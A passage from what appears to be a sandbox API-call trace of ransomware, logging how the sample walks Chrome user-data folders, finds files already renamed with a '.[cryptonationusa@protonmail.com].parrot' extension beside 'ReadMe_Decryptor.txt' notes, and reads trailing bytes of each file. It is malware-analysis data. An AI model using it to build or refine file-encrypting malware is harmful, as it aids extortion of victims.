ftLastAccessTime.dwLowDateTime=0xa8905440, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa8905440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0096.827] lstrcmpW (lpString1="Crashpad", lpString2=".") returned 1 [0096.827] lstrcmpW (lpString1="Crashpad", lpString2="..") returned 1 [0096.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d538 [0096.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5d0838 [0096.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0096.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x6532b8 [0096.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.827] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.827] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.827] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa8905440, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa8905440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.827] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.827] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.827] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0096.827] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa88df2e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa88df2e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa8905440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.827] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.828] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.829] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x69b320 [0096.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.829] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0096.829] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.829] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.829] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b320 | out: hHeap=0x5b0000) returned 1 [0096.830] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0096.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b268 | out: hHeap=0x5b0000) returned 1 [0096.830] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa88b9180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETTIN~1.PAR")) returned 1 [0096.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.830] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.830] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0096.831] CloseHandle (hObject=0x27c) returned 1 [0096.831] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa88b9180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETTIN~1.PAR")) returned 0 [0096.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x668798 | out: hHeap=0x5b0000) returned 1 [0096.831] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0096.832] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.833] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa8905440, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa8905440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.834] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0096.834] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa88df2e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa88df2e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa8905440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.834] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.834] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbac51880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbac51880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.834] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.834] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.834] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaca2ee80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0096.834] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0096.834] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0096.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x668798 [0096.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x653360 | out: hHeap=0x5b0000) returned 1 [0096.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x69b268 [0096.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.835] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.835] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaca2ee80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.836] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.836] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.836] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa8c4b280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_0~1.PAR")) returned 1 [0096.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.836] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.836] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.837] CloseHandle (hObject=0x270) returned 1 [0096.837] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa9453cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x42128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_1~1.PAR")) returned 1 [0096.837] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.837] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.837] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.839] CloseHandle (hObject=0x270) returned 1 [0096.839] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa968f160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_2~1.PAR")) returned 1 [0096.839] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.840] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.840] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.840] CloseHandle (hObject=0x270) returned 1 [0096.840] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xabf2c8c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x402118, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_3~1.PAR")) returned 1 [0096.841] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.841] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.841] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.841] CloseHandle (hObject=0x270) returned 1 [0096.842] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x80298, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="INDEX_~1.PAR")) returned 1 [0096.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.842] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.842] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.842] CloseHandle (hObject=0x270) returned 1 [0096.843] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8c4b280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa8c4b280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca54fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.843] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.843] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaca2ee80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.843] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa8c4b280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_0~1.PAR")) returned 1 [0096.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.843] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.843] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0096.844] CloseHandle (hObject=0x27c) returned 1 [0096.844] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83b08a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83b08a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xacc441c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CURREN~1.PAR")) returned 1 [0096.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.844] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0096.845] CloseHandle (hObject=0x27c) returned 1 [0096.845] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c3b6860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3b6860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xacc6a320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current 